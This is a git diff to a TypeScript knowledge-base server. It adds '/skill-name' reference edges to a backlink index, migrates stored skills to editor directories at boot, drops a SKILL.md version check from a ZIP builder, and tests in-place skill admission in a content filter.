+ // Referenced skill not indexed yet → no edge (no dead-ref graph noise).
+ expect(index.getForwardLinks(analyze)).toEqual([]);
+ // The moment the referenced skill is indexed, the edge appears — read-time
+ // resolution, no re-parse of the referencing doc.
+ index.updateDocumentFromMarkdown(research, '# Research skill\n');
+ expect(index.getForwardLinks(analyze)).toEqual([research]);
+ expect(index.getBacklinks(research)).toEqual([
+ { source: analyze, anchor: null, snippet: null },
+ ]);
+ // Stop-listed roots and plain prose never fabricate edges.
+ index.updateDocumentFromMarkdown(analyze, 'Files under /tmp and half/way.\n');
+ expect(index.getForwardLinks(analyze)).toEqual([]);
+ // SAME-SCOPE ONLY: a project ref never resolves to a global bundle node.
+ index.registerGlobalSkillBundleNode('__skill__/global/deploy/SKILL');
+ index.updateDocumentFromMarkdown(analyze, 'Use /deploy.\n');
+ expect(index.getForwardLinks(analyze)).toEqual([]);
+ // Deleting the referenced skill removes the edge again.
+ index.updateDocumentFromMarkdown(analyze, 'Use /research.\n');
+ expect(index.getForwardLinks(analyze)).toEqual([research]);
+ index.deleteDocument(research);
+ expect(index.getForwardLinks(analyze)).toEqual([]);
+ } finally {
+ rmSync(projectDir, { recursive: true, force: true });
+ }
+ });
+
test('connects a SKILL doc and its reference with NO authored link between them', () => {
const projectDir = mkdtempSync(join(tmpdir(), 'ok-backlinks-skill-struct-'));
const contentDir = join(projectDir, 'content');
diff --git a/packages/server/src/backlink-index.ts b/packages/server/src/backlink-index.ts
index 13b0ded51..7f6dedbdd 100644
--- a/packages/server/src/backlink-index.ts
+++ b/packages/server/src/backlink-index.ts
@@ -5,6 +5,7 @@ import {
type BrokenLinkReason,
classifyMarkdownHref,
classifyWikiLinkTarget,
+ extractSkillRefs,
getWikiLinkText,
isOrphanMode,
MANAGED_ARTIFACT_PREFIX_SKILL,
@@ -135,6 +136,12 @@ interface BranchGraphState {
forward: Map<string, Set<string>>;
externalForward: Map<string, Map<string, { label: string | null; snippet: string | null }>>;
externalBackward: Map<string, Map<string, { label: string | null; snippet: string | null }>>;
+ /** Per skill-bundle doc: the `/skill-name` reference tokens its body authors
+ * (names only, unresolved). Resolution to a SKILL doc happens at READ time
+ * against the live node registry — exactly like structural bundle edges —
+ * so an edge appears the moment the referenced skill is indexed, without
+ * re-parsing the referencing doc. */
+ skillRefs: Map<string, Set<string>>;
}
interface SerializedBranchGraphState {
@@ -144,6 +151,8 @@ interface SerializedBranchGraphState {
string,
Array<{ url: string; label: string | null; snippet: string | null }>
>;
+ /** `/skill-name` reference tokens per skill-bundle doc (see BranchGraphState). */
+ skillRefs?: Record<string, string[]>;
/**
* Per-doc mtime snapshot written by rebuildFromDisk / reconcileWithDisk.
* Used on next startup to skip re-parsing files whose mtime hasn't changed.
@@ -164,6 +173,7 @@ function createEmptyState(): BranchGraphState {
forward: new Map(),
externalForward: new Map(),
externalBackward: new Map(),
+ skillRefs: new Map(),
};
}
@@ -182,10 +192,18 @@ function parseSkillBundleDocAnyScope(
): { name: string; kind: 'skill' | 'reference'; skillDocName: string } | null {
const project = parseProjectSkillBundleDoc(docName);
if (project) {
+ // The SKILL doc name derives from the bundle doc's OWN root — a reference
+ // at `.agents/skills/<name>/references/x` pairs with
+ // `.agents/skills/<name>/SKILL`. Minting a shape here (the old
+ // `skillLiveDocName` route) silently broke every in-place bundle after the
+ // store retirement: it produced `.ok/skills/<name>/SKILL`, which matches no
+ // live in-place doc, so the structural edges never drew.
+ const skillDocName =
+ project.kind === 'skill' ? docName : `${docName.split('/references/')[0]}/SKILL`;
return {
name: project.name,
kind: project.kind,
- skillDocName: skillLiveDocName('project', project.name),
+ skillDocName,
};
}
const global = parseGlobalSkillBundleDoc(docName);
@@ -955,6 +973,9 @@ function serializeState(state: BranchGraphState): SerializedBranchGraphState {
.sort((a, b) => a.url.localeCompare(b.url)),
]),
),
+ skillRefs: Object.fromEntries(
+ [...state.skillRefs.entries()].map(([source, names]) => [source, [...names].sort()]),
+ ),
};
}
@@ -1026,6 +1047,9 @@ function deserializeState(data: SerializedBranchGraphState): BranchGraphState {
),
externalForward,
externalBackward: buildExternalBackward(externalForward),
+ skillRefs: new Map(
+ Object.entries(data.skillRefs ?? {}).map(([source, names]) => [source, new Set(names)]),
+ ),
};
}
@@ -1104,6 +1128,83 @@ export class BacklinkIndex {
return neighbors;
}
+ /**
+ * Skill-REFERENCE neighbors of a skill bundle doc: edges drawn from the
+ * `/skill-name` tokens its body authors (the cross-agent invocation
+ * convention the editor renders as chips) to the referenced skill's SKILL
+ * doc. Same read-time-resolution model as `structuralBundleNeighbors` — the
+ * recorded ref NAMES resolve against the live node registry on every query,
+ * so the edge appears the moment the referenced skill is indexed and
+ * disappears with it, no re-parse of the referencing doc needed.
+ *
+ * Scope-symmetric and SAME-SCOPE ONLY (both directions), mirroring the
+ * structural-edge rule and the editor's same-scope reference picker: a
+ * project skill's `/name` resolves to the project bundle, a global skill's
+ * to `__skill__/global/<name>/SKILL` — never across the boundary, so a
+ * global bundle still never links into a project's KB.
+ */
+ private skillRefNeighbors(docName: string, branch = this.activeBranch): Set<string> {
+ const neighbors = new Set<string>();
+ const state = this.getState(branch);
+ if (!state.forward.has(docName)) return neighbors;
+ const parsed = parseSkillBundleDocAnyScope(docName);
+ if (!parsed) return neighbors;
+ const globalScope = docName.startsWith(MANAGED_ARTIFACT_PREFIX_SKILL);
+ // OUTGOING: this doc's authored refs → each referenced skill's SKILL doc.
+ const refs = state.skillRefs.get(docName);
+ if (refs) {
+ for (const ref of refs) {
+ if (ref === parsed.name) continue; // self-reference draws no edge
+ if (globalScope) {
+ const target = skillLiveDocName('global', ref);
+ if (state.forward.has(target)) neighbors.add(target);
+ } else {
+ for (const candidate of state.forward.keys()) {
+ const other = parseSkillBundleDocAnyScope(candidate);
+ if (
+ other?.kind === 'skill' &&
+ other.name === ref &&
+ !candidate.startsWith(MANAGED_ARTIFACT_PREFIX_SKILL)
+ ) {
+ neighbors.add(candidate);
+ }
+ }
+ }
+ }
+ }
+ // INCOMING: only a SKILL doc is a ref target; every same-scope bundle doc
+ // whose recorded refs name this skill draws the reverse edge.
+ if (parsed.kind === 'skill') {
+ for (const [source, names] of state.skillRefs) {
+ if (source === docName || !names.has(parsed.name)) continue;
+ if (source.startsWith(MANAGED_ARTIFACT_PREFIX_SKILL) !== globalScope) continue;
+ if (state.forward.has(source)) neighbors.add(source);
+ }
+ }
+ return neighbors;
+ }
+
+ /** Union of the two derived (non-authored) edge families of a skill bundle
+ * doc: structural within-bundle partners + `/skill-name` reference edges.
+ * The single seam every read path (backlinks, forward links, graph
+ * traversal) uses, so the two families can never diverge per surface. */
+ private bundleNeighbors(docName: string, branch = this.activeBranch): Set<string> {
+ const neighbors = this.structuralBundleNeighbors(docName, branch);
+ for (const n of this.skillRefNeighbors(docName, branch)) neighbors.add(n);
+ return neighbors;
+ }
+
+ /** Record (or clear) the `/skill-name` ref tokens a skill bundle doc's body
+ * authors. No-op for non-bundle docs — plain prose mentioning `/tmp`-style
+ * tokens must never fabricate graph edges. */
+ private recordSkillRefs(docName: string, body: string, branch = this.activeBranch): void {
+ const state = this.getState(branch);
+ if (!parseSkillBundleDocAnyScope(docName)) return;
+ const refs = extractSkillRefs(body);
+ if (refs.length === 0) state.skillRefs.delete(docName);
+ else state.skillRefs.set(docName, new Set(refs));
+ }
+
getActiveBranch(): string {
return this.activeBranch;
}
@@ -1255,6 +1356,7 @@ export class BacklinkIndex {
...wikiExternalLinks,
...mdExternalLinks.filter((link) => !externalSeen.has(link.url)),
];
+ this.recordSkillRefs(docName, body, branch);
this.updateDocument(docName, merged, mergedExternal, branch);
} catch (err) {
log.warn({ docName, err }, `Failed to scan ${docName} for link extraction`);
@@ -1281,6 +1383,7 @@ export class BacklinkIndex {
}
state.forward.delete(docName);
state.externalForward.delete(docName);
+ state.skillRefs.delete(docName);
}
renameDocument(
@@ -1304,7 +1407,7 @@ export class BacklinkIndex {
}
// Structural skill-bundle edges are undirected, so a SKILL↔reference partner
// is a backlink source even when neither doc authored a link to the other.
- for (const partner of this.structuralBundleNeighbors(target, branch)) {
+ for (const partner of this.bundleNeighbors(target, branch)) {
if (!entries.has(partner))
entries.set(partner, { source: partner, anchor: null, snippet: null });
}
@@ -1321,7 +1424,7 @@ export class BacklinkIndex {
getBacklinkCount(target: string, branch = this.activeBranch): number {
const state = this.getState(branch);
const authored = state.backward.get(target);
- const structural = this.structuralBundleNeighbors(target, branch);
+ const structural = this.bundleNeighbors(target, branch);
if (structural.size === 0) return authored?.size ?? 0;
const union = new Set(authored?.keys() ?? []);
for (const partner of structural) union.add(partner);
@@ -1334,7 +1437,7 @@ export class BacklinkIndex {
// Undirected structural skill-bundle edges surface as forward links too, so a
// SKILL doc lists its references (and a reference lists its SKILL) even with
// no authored link between them.
- for (const partner of this.structuralBundleNeighbors(source, branch)) targets.add(partner);
+ for (const partner of this.bundleNeighbors(source, branch)) targets.add(partner);
return [...targets].sort((a, b) => a.localeCompare(b));
}
@@ -1525,7 +1628,7 @@ export class BacklinkIndex {
for (const source of state.forward.keys()) {
const parsed = parseSkillBundleDocAnyScope(source);
if (parsed?.kind !== 'skill') continue;
- for (const target of this.structuralBundleNeighbors(source, branch)) {
+ for (const target of this.bundleNeighbors(source, branch)) {
if (state.forward.get(source)?.has(target) || state.forward.get(target)?.has(source)) {
continue;
}
@@ -1594,7 +1697,7 @@ export class BacklinkIndex {
neighbors.add(source);
}
// Structural skill-bundle partners are undirected neighbors for traversal.
- for (const partner of this.structuralBundleNeighbors(current.nodeId, branch)) {
+ for (const partner of this.bundleNeighbors(current.nodeId, branch)) {
neighbors.add(partner);
}
}
@@ -1630,7 +1733,7 @@ export class BacklinkIndex {
for (const source of visited) {
const parsed = parseSkillBundleDocAnyScope(source);
if (parsed?.kind !== 'skill') continue;
- for (const target of this.structuralBundleNeighbors(source, branch)) {
+ for (const target of this.bundleNeighbors(source, branch)) {
if (!visited.has(target)) continue;
if (state.forward.get(source)?.has(target) || state.forward.get(target)?.has(source)) {
continue;
@@ -2004,6 +2107,16 @@ export class BacklinkIndex {
if (parseGlobalSkillBundleDoc(skillDocName)) {
this.registerNodeOnly(skillDocName, branch);
live.add(skillDocName);
+ // `/skill-name` REF tokens are the one body-derived signal global
+ // bundles record (names only; resolution is same-scope, so a
+ // global bundle still never links into a project's KB). Wiki/md
+ // links stay unparsed (within-bundle-only rule).
+ try {
+ const raw = await readFile(join(dir, 'SKILL.md'), 'utf-8');
+ this.recordSkillRefs(skillDocName, stripFrontmatter(raw).body, branch);
+ } catch (err) {
+ log.warn({ dir, err }, 'global skill ref-scan failed; edges skipped');
+ }
}
}
// Reference docs: `<dir>/references/**.md` → ext-less bundle doc names.
diff --git a/packages/server/src/boot.ts b/packages/server/src/boot.ts
index 98519078e..f0043b551 100644
--- a/packages/server/src/boot.ts
+++ b/packages/server/src/boot.ts
@@ -59,6 +59,7 @@ import {
} from './git-preflight.ts';
import { emitPreflightFailureSpan } from './git-preflight-telemetry.ts';
import { attachIdleShutdown, type IdleShutdownHandle } from './idle-shutdown.ts';
+import { scanGlobalInPlaceSkills, scanInPlaceSkills } from './in-place-skills.ts';
import { resolveLocalSinkConfig } from './local-sink-resolver.ts';
import { getLogger, loggerFactory, type PinoLogger } from './logger.ts';
import { createMcpHttpHandler } from './mcp-http.ts';
@@ -67,6 +68,11 @@ import { MissingOkConfigError } from './missing-ok-config-error.ts';
import { RemoteConfigError, resolveRemoteAccess } from './remote-access.ts';
import { createServer, type ServerInstance, type ServerOptions } from './server-factory.ts';
import { installServerMemoryGauge, installServerRuntimeGauges } from './server-memory-telemetry.ts';
+import {
+ genuineInPlaceNames,
+ migrateStoreSkillsInPlace,
+ USER_HOST_ROOTS_BY_PRECEDENCE,
+} from './skill-migrate.ts';
import { reconcileSkillInstalls } from './skill-reconcile.ts';
import { initTelemetry, shutdownTelemetry, withSpan } from './telemetry.ts';
import {
@@ -1128,30 +1134,80 @@ async function bootServerInner(opts: BootServerOptions): Promise<BootedServer> {
}
};
- // Reconcile on open (best-effort, non-fatal): bring editor skill dirs into
- // line with the symlink model — heal drifted/broken links, adopt foreign or
- // legacy-copy skills into `.ok/skills` and symlink them, drop orphan links.
- // One hook covers CLI `ok start`, desktop, and dev. The shipped bundle sweep
- // (no-create, copy) owns OK's own bundle.
+ // Store→in-place migration (best-effort, non-fatal, idempotent): relocate any
+ // remaining `.ok/skills/<name>` bundles to their precedence editor-dir paths
+ // — conflicts are skipped, never clobbered. Runs BEFORE the
+ // reconcile pass so reconcile sees the post-migration reality; the live
+ // in-place re-scan admits the moved bundles without a restart.
+ try {
+ const m = await migrateStoreSkillsInPlace({
+ projectDir,
+ skillsRoot: resolve(opts.contentDir, OK_DIR, 'skills'),
+ inPlaceNames: genuineInPlaceNames(opts.contentDir, scanInPlaceSkills(opts.contentDir)),
+ });
+ if (m.migrated.length + m.skipped.length > 0) {
+ log.info?.(
+ {
+ event: 'store-skills-migrated-in-place',
+ migrated: m.migrated,
+ skipped: m.skipped,
+ },
+ `Migrated ${m.migrated.length} store skill(s) in place (${m.skipped.length} skipped).`,
+ );
+ }
+ } catch (err) {
+ log.warn?.(
+ { event: 'store-skill-migration-failed', error: String(err) },
+ 'Store-skill in-place migration failed (non-fatal).',
+ );
+ }
+
+ // GLOBAL store migration (store retirement): same pass over `~/.ok/skills`,
+ // targeting the user-home editor dirs (`~/.claude/skills`, …, `~/.agents`
+ // hub). Move-not-delete, conflicts skip, built-ins skip, placements of
+ // in-place skills skip. Runs once per boot; empty store is a no-op.
+ try {
+ const home = homedir();
+ const gm = await migrateStoreSkillsInPlace({
+ projectDir: home,
+ skillsRoot: resolve(home, OK_DIR, 'skills'),
+ hostRoots: USER_HOST_ROOTS_BY_PRECEDENCE,
+ inPlaceNames: genuineInPlaceNames(home, scanGlobalInPlaceSkills(home)),
+ });
+ if (gm.migrated.length + gm.skipped.length > 0) {
+ log.info?.(
+ {
+ event: 'global-store-skills-migrated-in-place',
+ migrated: gm.migrated,
+ skipped: gm.skipped,
+ },
+ `Migrated ${gm.migrated.length} global store skill(s) in place (${gm.skipped.length} skipped).`,
+ );
+ }
+ } catch (err) {
+ log.warn?.(
+ { event: 'global-store-skill-migration-failed', error: String(err) },
+ 'Global store-skill in-place migration failed (non-fatal).',
+ );
+ }
+
+ // Reconcile on open (best-effort, non-fatal): heal drifted/broken symlinks of
+ // skills OK already owns in `.ok/skills`, collapse redundant editor-dir copies
+ // of them, drop orphan links. In-place editor-dir skills are never
+ // touched. One hook covers CLI `ok start`, desktop, and dev. The shipped
+ // bundle sweep (no-create, copy) owns OK's own bundle.
try {
const r = await reconcileSkillInstalls({
projectDir,
skillsRoot: resolve(opts.contentDir, OK_DIR, 'skills'),
});
- const changed =
- r.healed.length +
- r.adopted.length +
- r.replaced.length +
- r.collided.length +
- r.orphansRemoved.length;
+ const changed = r.healed.length + r.replaced.length + r.orphansRemoved.length;
if (changed > 0) {
log.info?.(
{
event: 'installed-skills-reconciled',
healed: r.healed.length,
- adopted: r.adopted.length,
replaced: r.replaced.length,
- collided: r.collided.length,
orphansRemoved: r.orphansRemoved.length,
},
`Reconciled ${changed} editor skill entr${changed === 1 ? 'y' : 'ies'} to the symlink model.`,
diff --git a/packages/server/src/build-skill-zip.test.ts b/packages/server/src/build-skill-zip.test.ts
index 5a751f760..cac1a9226 100644
--- a/packages/server/src/build-skill-zip.test.ts
+++ b/packages/server/src/build-skill-zip.test.ts
@@ -11,7 +11,7 @@ import { dirname, join, posix, win32 } from 'node:path';
import { describe, expect, test } from 'vitest';
import { __testing, resolveBundledSkillDir } from './build-skill-zip.ts';
-const { computeWrapperFolderName, extractMetadataVersion, toPosixZipPath } = __testing;
+const { computeWrapperFolderName, toPosixZipPath } = __testing;
/** Build the `Contents/Resources/cli/dist/assets/skills/<which>` subpath that
* a co-installed OK Desktop ships, rooted at an arbitrary `appsRoot`. */
@@ -29,24 +29,6 @@ function desktopSkillDir(appsRoot: string, which: 'discovery' | 'project'): stri
);
}
-describe('extractMetadataVersion', () => {
- const FM_BODY = 'name: open-knowledge\nmetadata:\n version: "1.2.3"\n';
-
- test('reads metadata.version from a bare-fence SKILL.md', () => {
- expect(extractMetadataVersion(`---\n${FM_BODY}---\n\n# Skill\n`)).toBe('1.2.3');
- });
-
- test('tolerates trailing whitespace on the fence lines (core fence contract)', () => {
- expect(extractMetadataVersion(`--- \n${FM_BODY}--- \n\n# Skill\n`)).toBe('1.2.3');
- expect(extractMetadataVersion(`---\t\n${FM_BODY}---\n\n# Skill\n`)).toBe('1.2.3');
- });
-
- test('returns undefined when frontmatter or metadata.version is absent', () => {
- expect(extractMetadataVersion('# No frontmatter\n')).toBeUndefined();
- expect(extractMetadataVersion('---\nname: open-knowledge\n---\n')).toBeUndefined();
- });
-});
-
describe('computeWrapperFolderName', () => {
test('POSIX: returns last segment', () => {
expect(computeWrapperFolderName('/usr/local/lib/skills/open-knowledge', posix.basename)).toBe(
diff --git a/packages/server/src/build-skill-zip.ts b/packages/server/src/build-skill-zip.ts
index a95fc0524..b094abf84 100644
--- a/packages/server/src/build-skill-zip.ts
+++ b/packages/server/src/build-skill-zip.ts
@@ -3,8 +3,7 @@
*
* ZIPs a bundled SKILL.md source as `<skill-name>/SKILL.md` (wrapper-folder-
* at-root — Claude Desktop's upload silently rejects flat ZIPs) and runs
- * structural smoke-tests: size ceiling, `name:` match, optional
- * `metadata.version:` match against caller-supplied `expectedSkillVersion`.
+ * structural smoke-tests: size ceiling + `name:` match.
*
* Two skill bundles ship side by side:
* - `discovery` (`name: open-knowledge-discovery`) — slim, install/share
@@ -12,10 +11,9 @@
* - `project` (`name: open-knowledge`) — the rich agent-runtime
* contract. Project-local install + the `.skill` ZIP (Cowork) only.
*
- * This module is a pure ZIP-builder. Version provenance is the caller's
- * concern: install-flow callers ship whatever SKILL.md is currently bundled;
- * release-build callers compare against an externally-known CLI version
- * (e.g. via `resolvePackageVersion` in `./resolve-package-version.ts`).
+ * This module is a pure ZIP-builder. The bundled SKILL.md carries no version
+ * stamp; built-ins update through the normal skills.sh reimport path like any
+ * other skill (no SKILL ↔ CLI version invariant to assert here).
*
* ZIP library: `yazl` (pure JS, ~20 KB, zero deps) — Windows has no `zip`
* in PATH and `ok cowork` must work on every CLI user's machine.
@@ -31,7 +29,6 @@ import { readdir, readFile } from 'node:fs/promises';
import { homedir } from 'node:os';
import { basename, join, relative, sep } from 'node:path';
import { fileURLToPath } from 'node:url';
-import { stripFrontmatter, unwrapFrontmatterFences } from '@inkeep/open-knowledge-core';
import yazl from 'yazl';
import { BUNDLE_SKILL_NAME, type BundleId } from './skill-bundles.ts';
@@ -59,14 +56,6 @@ export interface BuildSkillZipOptions {
sourceDir?: string;
/** Output file path. Defaults to `./openknowledge.skill` in cwd. */
outputPath?: string;
- /**
- * When set, validate that SKILL.md's `metadata.version` matches this value.
- * Used by release builds to assert SKILL ↔ CLI version alignment before
- * publish. Omit to skip the check — install-flow callers (desktop IPC,
- * `ok cowork`) don't need it because they ship whatever SKILL.md
- * version is currently bundled with their installed CLI.
- */
- expectedSkillVersion?: string;
/**
* Forwarded to `resolveBundledSkillDir`. Defaults to `false` — every
* `buildSkillZip` caller feeds an install-state gate that compares the
@@ -91,8 +80,6 @@ export interface BuildSkillZipResult {
size: number;
/** Hex-encoded SHA256. */
sha256: string;
- /** SKILL.md `metadata.version:`, or `undefined` if absent. */
- skillVersion?: string;
}
export interface ResolveBundledSkillDirOptions {
@@ -247,32 +234,6 @@ async function sha256OfFile(path: string): Promise<string> {
});
}
-/**
- * Parse SKILL.md frontmatter `metadata.version:` without pulling in a YAML
- * library. Handles `metadata: { version: "x" }` flow and block forms. Returns
- * `undefined` if the field is absent. Fence recognition is core's contract
- * (`stripFrontmatter`/`unwrapFrontmatterFences`), so fence lines with
- * trailing spaces/tabs are tolerated like every other recognizer.
- */
-function extractMetadataVersion(markdown: string): string | undefined {
- const { frontmatter: fenced } = stripFrontmatter(markdown);
- if (fenced === '') return undefined;
- const frontmatter = unwrapFrontmatterFences(fenced);
-
- // Match `metadata:` block then a subsequent ` version: "..."` line.
- const metaStart = frontmatter.search(/^metadata:/m);
- if (metaStart < 0) return undefined;
- // Scan lines after `metadata:` until an un-indented line breaks the block.
- const rest = frontmatter.slice(metaStart);
- const lines = rest.split('\n').slice(1);
- for (const line of lines) {
- if (/^[^\s]/.test(line)) break; // left-flush line ends the block
- const m = line.match(/^\s+version:\s*["']?([^"'\s]+)["']?$/);
- if (m) return m[1];
- }
- return undefined;
-}
-
/**
* Run the structural smoke-tests on a built `.skill`. Throws on any failure
* with a user-facing message. Size check is on the input file path, not an
@@ -285,9 +246,8 @@ function extractMetadataVersion(markdown: string): string | undefined {
*/
export async function validateSkillZip(
outputPath: string,
- expectedSkillVersion: string | undefined,
opts: { bundle?: BundleId; sourceDir?: string } = {},
-): Promise<{ size: number; sha256: string; skillVersion?: string }> {
+): Promise<{ size: number; sha256: string }> {
const bundle: BundleId = opts.bundle ?? 'project';
const size = statSync(outputPath).size;
if (size > MAX_ZIP_BYTES) {
@@ -296,9 +256,9 @@ export async function validateSkillZip(
const sha256 = await sha256OfFile(outputPath);
- // For the version + name checks, parse the SKILL.md we zipped from — the
- // caller already had it on disk. yazl does not mutate content, and the
- // size + SHA256 checks above would already catch any fs/yazl byte-mangling.
+ // For the name check, parse the SKILL.md we zipped from — the caller already
+ // had it on disk. yazl does not mutate content, and the size + SHA256 checks
+ // above would already catch any fs/yazl byte-mangling.
//
// `buildSkillZip` always passes `sourceDir`, so the fallback only fires on a
// direct `validateSkillZip` call. checkDesktop:false there — validation must
@@ -315,32 +275,13 @@ export async function validateSkillZip(
);
}
- // Smoke-test: metadata.version matches the caller-asserted version.
- const skillVersion = extractMetadataVersion(skillMd);
- if (expectedSkillVersion !== undefined) {
- if (!skillVersion) {
- throw new Error(
- `SKILL.md metadata.version missing. Add it to packages/server/assets/skills/${bundle}/SKILL.md.`,
- );
- }
- if (skillVersion !== expectedSkillVersion) {
- throw new Error(
- `SKILL.md metadata.version (${skillVersion}) does not match expected version (${expectedSkillVersion}).`,
- );
- }
- }
-
- return { size, sha256, skillVersion };
+ return { size, sha256 };
}
/**
* Build the `.skill` artifact + run validation. Default output is
* `./openknowledge.skill` in cwd; default bundle is `'project'` (the rich
* bundle — Track 2 ships rich-only).
- *
- * Pass `expectedSkillVersion` only from release-build paths that need to
- * assert SKILL ↔ CLI version alignment. Install-flow callers (desktop IPC,
- * `ok cowork`) omit it and ship whatever SKILL.md is bundled.
*/
export async function buildSkillZip(opts: BuildSkillZipOptions = {}): Promise<BuildSkillZipResult> {
const bundle: BundleId = opts.bundle ?? 'project';
@@ -352,15 +293,11 @@ export async function buildSkillZip(opts: BuildSkillZipOptions = {}): Promise<Bu
// basename — keeps the archive root stable (`open-knowledge/`) regardless of
// the `discovery/` | `project/` source-tree directory name.
await zipDirectory(sourceDir, outputPath, BUNDLE_SKILL_NAME[bundle]);
- const { size, sha256, skillVersion } = await validateSkillZip(
- outputPath,
- opts.expectedSkillVersion,
- { bundle, sourceDir },
- );
+ const { size, sha256 } = await validateSkillZip(outputPath, { bundle, sourceDir });
- return { outputPath, size, sha256, skillVersion };
+ return { outputPath, size, sha256 };
}
// Test-only helpers. Not part of the public surface.
/** @internal */
-export const __testing = { extractMetadataVersion, computeWrapperFolderName, toPosixZipPath };
+export const __testing = { computeWrapperFolderName, toPosixZipPath };
diff --git a/packages/server/src/content-filter.test.ts b/packages/server/src/content-filter.test.ts
index f2ea55481..29ebec8b6 100644
--- a/packages/server/src/content-filter.test.ts
+++ b/packages/server/src/content-filter.test.ts
@@ -459,6 +459,69 @@ describe('ContentFilter', () => {
});
});
+ describe('in-place skill admission (allow-list)', () => {
+ test('a gitignored bundle is NOT admitted, even on the allow-list', () => {
+ // Projecting a skill into every editor dir and gitignoring the copies is a
+ // normal setup. Admitting an ignored path makes the sync engine try to
+ // commit it; git refuses and sync strands offline. The skill still LISTS
+ // as its own row — the scan is independent of content admission.
+ writeFileSync(join(projectDir, '.gitignore'), '.claude/skills/open-knowledge/\n');
+ const filter = createContentFilter({
+ projectDir,
+ contentDir: projectDir,
+ inPlaceSkillDirs: new Set([
+ '.claude/skills/open-knowledge',
+ '.agents/skills/open-knowledge',
+ ]),
+ });
+
+ expect(filter.isExcluded('.claude/skills/open-knowledge/SKILL.md')).toBe(true);
+ expect(filter.isPathIgnored('.claude/skills/open-knowledge/SKILL.md')).toBe(true);
+ // Its same-named, NOT-ignored sibling stays admitted — being gitignored is
+ // a property of the path, never of the name it shares.
+ expect(filter.isExcluded('.agents/skills/open-knowledge/SKILL.md')).toBe(false);
+ expect(filter.isPathIgnored('.agents/skills/open-knowledge/SKILL.md')).toBe(false);
+ });
+
+ test('admits ONLY the registry canonical bundle dirs out of the editor host dirs', () => {
+ const filter = createContentFilter({
+ projectDir,
+ contentDir: projectDir,
+ inPlaceSkillDirs: new Set(['.claude/skills/foo', '.codex/skills/bar']),
+ });
+
+ // Admitted: files under the canonical bundle dirs (SKILL, references, assets).
+ expect(filter.isExcluded('.claude/skills/foo/SKILL.md')).toBe(false);
+ expect(filter.isExcluded('.claude/skills/foo/references/patterns.md')).toBe(false);
+ expect(filter.isExcluded('.claude/skills/foo/diagram.png')).toBe(false);
+ expect(filter.isExcluded('.codex/skills/bar/SKILL.md')).toBe(false);
+ // Descendable ancestors so the walk reaches them.
+ expect(filter.isDirExcluded('.claude')).toBe(false);
+ expect(filter.isDirExcluded('.claude/skills')).toBe(false);
+ expect(filter.isDirExcluded('.claude/skills/foo')).toBe(false);
+ // asset-serve path (isPathIgnored) admits the same files.
+ expect(filter.isPathIgnored('.claude/skills/foo/diagram.png')).toBe(false);
+
+ // NOT admitted: a same-editor skill NOT in the allow-list (a copy/conflict/other).
+ expect(filter.isExcluded('.claude/skills/other/SKILL.md')).toBe(true);
+ expect(filter.isDirExcluded('.claude/skills/other')).toBe(true);
+ // NOT admitted: non-skill editor children stay excluded.
+ expect(filter.isExcluded('.claude/plugins/p/manifest.md')).toBe(true);
+ expect(filter.isDirExcluded('.claude/plugins')).toBe(true);
+ expect(filter.isExcluded('.claude/settings.local.json')).toBe(true);
+ expect(filter.isExcluded('.cursor/mcp.json')).toBe(true);
+ // Secret floor still wins inside an admitted skill dir.
+ expect(filter.isExcluded('.claude/skills/foo/.env')).toBe(true);
+ expect(filter.isDirExcluded('.claude/skills/foo/.ssh')).toBe(true);
+ });
+
+ test('empty/omitted allow-list = feature off (editor dirs stay fully skipped)', () => {
+ const filter = createContentFilter({ projectDir, contentDir: projectDir });
+ expect(filter.isExcluded('.claude/skills/foo/SKILL.md')).toBe(true);
+ expect(filter.isDirExcluded('.claude')).toBe(true);
+ });
+ });
+
describe('isDirExcluded', () => {
test('excludes directories matching gitignore directory patterns (trailing slash)', () => {
writeFileSync(join(projectDir, '.gitignore'), 'node_modules/\ndist/\n');
diff --git a/packages/server/src/content-filter.ts b/packages/server/src/content-filter.ts
index 0aa4f1a2e..263146e57 100644
--- a/packages/server/src/content-filter.ts
+++ b/packages/server/src/content-filter.ts
@@ -24,7 +24,11 @@ import { readdir, readFile as readFileAsync } from 'node:fs/promises';
import { homedir } from 'node:os';
import { dirname, extname, join, relative, resolve } from 'node:path';
import { promisify } from 'node:util';
-import { LINKABLE_ASSET_EXTENSIONS, OK_DIR, SKILL_CONTENT_ROOT } from '@inkeep/open-knowledge-core';
+import {
+ LEGACY_SKILL_STORE_ROOT,
+ LINKABLE_ASSET_EXTENSIONS,
+ OK_DIR,
+} from '@inkeep/open-knowledge-core';
import ignore, { type Ignore } from 'ignore';
import { isReservedForUserTree } from './cc1-broadcast.ts';
import { withHiddenWindowsConsole } from './child-process-windows-hide.ts';
@@ -180,19 +184,32 @@ function pathHasAlwaysSkipSegment(relativePath: string, showOk?: boolean): boole
}
/**
- * The ONE carve-out from the blanket `.ok/` exclusion: project skills live at
- * `.ok/skills/<name>/**` and are real indexed content (skills-as-content). Every
- * `.ok` exclusion site consults these so skill files reach the index / tree /
- * asset serving, while the rest of `.ok/` stays hidden. Paths are contentDir-
- * relative, '/'-joined, no leading slash. Project scope only — global skills
- * live under `~/.ok/skills`, served by the dedicated global route, not the
- * content index. `SKILL_CONTENT_ROOT` is the shared `.ok/skills` constant from
- * core (single source of truth across app + server).
+ * The ONE carve-out from the blanket `.ok/` exclusion, and it is deliberate
+ * rather than residue from the retired store.
+ *
+ * Skills now live IN PLACE (`.claude/skills/<name>`, the `.agents/skills` hub, a
+ * custom root); `.ok/skills` is an ordinary custom root you may still place at,
+ * plus whatever has not drained. But it is the ONE skill root that sits inside
+ * `.ok/`, which OK hides from git wholesale in local-only mode. Git will not
+ * re-include a path whose parent is excluded, so the sharing feature replaces
+ * that blanket with a children-exclude plus a `!**\/.ok/skills/` re-include
+ * (`cli/src/sharing/git-exclude.ts`).
+ *
+ * This carve-out is the index-side half of that: without it, a skill sitting at
+ * `.ok/skills` in a local-only project would be admitted by neither the ignore
+ * rules nor the in-place allow-list, and would silently vanish from the UI while
+ * still being on disk. Removing it to make the root "ordinary" would hide
+ * people's skills, so it stays — and it is the reason `.ok/skills` can never be
+ * QUITE as ordinary as `.tim/skills`, which git never hid in the first place.
+ *
+ * Paths are contentDir-relative, '/'-joined, no leading slash. Project scope
+ * only — global skills are served by the dedicated global route, not the content
+ * index.
*/
/** True for a FILE under `.ok/skills/<name>/...` (at least one segment past the root). */
function isSkillContentFile(relativePath: string): boolean {
- return relativePath.startsWith(`${SKILL_CONTENT_ROOT}/`);
+ return relativePath.startsWith(`${LEGACY_SKILL_STORE_ROOT}/`);
}
/**
